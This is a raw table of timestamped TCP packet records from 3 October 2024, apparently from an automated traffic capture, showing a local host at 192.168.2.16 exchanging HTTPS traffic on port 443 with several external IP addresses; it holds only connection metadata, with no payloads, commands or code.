Oct 3, 2024 18:18:07.205034018 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.206629992 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.206693888 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.206727982 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.212284088 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.212533951 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.212596893 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.214334011 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.214442015 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.215495110 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.215596914 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.251399040 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.258713007 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.258714914 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.258721113 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.258735895 CEST	443	49707	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.306734085 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.306762934 CEST	49707	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.902678967 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.902890921 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.902949095 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.904789925 CEST	49706	443	192.168.2.16	194.31.223.121
Oct 3, 2024 18:18:07.904813051 CEST	443	49706	194.31.223.121	192.168.2.16
Oct 3, 2024 18:18:07.970726967 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.970767021 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:07.970829964 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.971231937 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.971249104 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:07.971625090 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.971649885 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:07.971709967 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.972062111 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:07.972074986 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.071887016 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 3, 2024 18:18:08.450478077 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.453385115 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.453402042 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.454479933 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.454569101 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.456197977 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.461082935 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.461097956 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.462574005 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.462647915 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.465315104 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.465369940 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.465423107 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.465518951 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.465526104 CEST	443	49710	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.465589046 CEST	49710	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.467777967 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.467854977 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.467963934 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468020916 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468044043 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468089104 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468127966 CEST	443	49711	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.468204021 CEST	49711	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468357086 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.468453884 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.468525887 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.470794916 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.470833063 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.470932961 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.470967054 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.942267895 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.942622900 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.942696095 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.943773031 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.943866014 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.944928885 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.945003986 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.945175886 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.945195913 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.955941916 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.956232071 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.956271887 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.957726002 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.957813025 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.958228111 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:08.958316088 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:08.993778944 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:09.009723902 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:09.009744883 CEST	443	49713	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:09.016262054 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.016360998 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.016463995 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.016743898 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.016782999 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.057765007 CEST	49713	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:09.411448002 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:09.411617994 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:09.411725044 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:09.414540052 CEST	49712	443	192.168.2.16	104.21.26.216
Oct 3, 2024 18:18:09.414567947 CEST	443	49712	104.21.26.216	192.168.2.16
Oct 3, 2024 18:18:09.431694031 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.431721926 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.431811094 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.432156086 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.432168961 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.667469978 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.667855978 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.667912006 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.669365883 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.669459105 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.670608997 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.670713902 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.725766897 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.725790024 CEST	443	49714	142.250.184.196	192.168.2.16
Oct 3, 2024 18:18:09.773761988 CEST	49714	443	192.168.2.16	142.250.184.196
Oct 3, 2024 18:18:09.854876041 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:09.854969025 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:09.855072975 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:09.857347012 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:09.857372046 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:09.887808084 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.888061047 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.888076067 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.889180899 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.889245033 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.889729023 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.889729023 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.889776945 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.889786005 CEST	443	49715	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.889844894 CEST	49715	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.891448021 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.891552925 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:09.891740084 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.892093897 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:09.892129898 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.381582022 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.381917953 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.381953955 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.383111954 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.383217096 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.384356022 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.384424925 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.384558916 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.384572029 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.426764011 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.506828070 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.507050037 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.513104916 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.513118982 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.513494015 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.554743052 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.569879055 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.611426115 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.883589983 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.883709908 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.883752108 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.883773088 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.883810997 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.883898973 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.883912086 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.883970976 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.883981943 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.883995056 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884078979 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884126902 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.884135962 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884217024 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884265900 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.884274006 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884421110 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.884475946 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.884485006 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.886015892 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.886015892 CEST	49716	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:10.886085033 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.886120081 CEST	443	49716	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:10.889555931 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.889646053 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.889652967 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.889763117 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.889816999 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.889823914 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.889945030 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.889997959 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.890005112 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890126944 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890182018 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.890191078 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890625954 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890681982 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.890688896 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890805006 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.890862942 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.890872002 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.891100883 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.891155958 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.893187046 CEST	49717	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.893201113 CEST	443	49717	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.963129044 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.963188887 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.963274002 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.963685989 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.963716030 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.965332985 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.965373039 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.965432882 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.966315985 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.966360092 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.966419935 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.966768980 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.966857910 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.966927052 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967139006 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967160940 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.967230082 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967430115 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967451096 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.967516899 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967720032 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967741966 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.967917919 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.967955112 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.968080044 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.968115091 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.968211889 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.968236923 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:10.968430042 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:10.968455076 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.023015022 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.023056984 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.023135900 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.023597002 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.023617029 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.431632042 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.431982994 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.432029963 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.435709953 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.435818911 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436142921 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436142921 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436204910 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436240911 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.436327934 CEST	443	49720	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.436404943 CEST	49720	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436410904 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.436517954 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436594009 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.436614990 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436640978 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.436712027 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436764956 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.436799049 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.437009096 CEST	49725	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.437030077 CEST	443	49725	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.440012932 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.440057993 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.440078020 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440126896 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440448046 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440468073 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440509081 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440515995 CEST	443	49719	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.440567017 CEST	49719	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440787077 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.440804005 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.441118002 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441133976 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441164970 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441186905 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441226006 CEST	443	49718	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.441278934 CEST	49718	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441395998 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441489935 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.441581011 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441589117 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441596985 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.441770077 CEST	49727	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.441806078 CEST	443	49727	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.442806959 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.443087101 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.443104029 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.443898916 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.444103003 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.444117069 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.444560051 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.444633961 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.444953918 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.445027113 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445101976 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445132971 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445193052 CEST	443	49723	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.445215940 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445255041 CEST	49723	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445579052 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445636034 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.445755959 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445877075 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445888042 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445933104 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.445950031 CEST	443	49721	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.446013927 CEST	49721	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.446155071 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.446177006 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.446238041 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.446360111 CEST	49728	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.446383953 CEST	443	49728	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.446527958 CEST	49729	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.446541071 CEST	443	49729	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.452363014 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.452572107 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.452605009 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.454041958 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.454113007 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454447985 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454467058 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454524040 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454538107 CEST	443	49722	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.454618931 CEST	49722	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454720020 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.454746008 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.454818964 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.455041885 CEST	49730	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.455058098 CEST	443	49730	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.675829887 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.675914049 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.677485943 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.677506924 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.677829027 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.678946972 CEST	49724	443	192.168.2.16	184.28.90.27
Oct 3, 2024 18:18:11.718097925 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:11.719408989 CEST	443	49724	184.28.90.27	192.168.2.16
Oct 3, 2024 18:18:11.974715948 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.974994898 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.975059986 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.975989103 CEST	443	49726	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:11.976068020 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.976532936 CEST	49726	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:11.976608992 CEST	443	49726	104.21.57.136	192.168.2.16
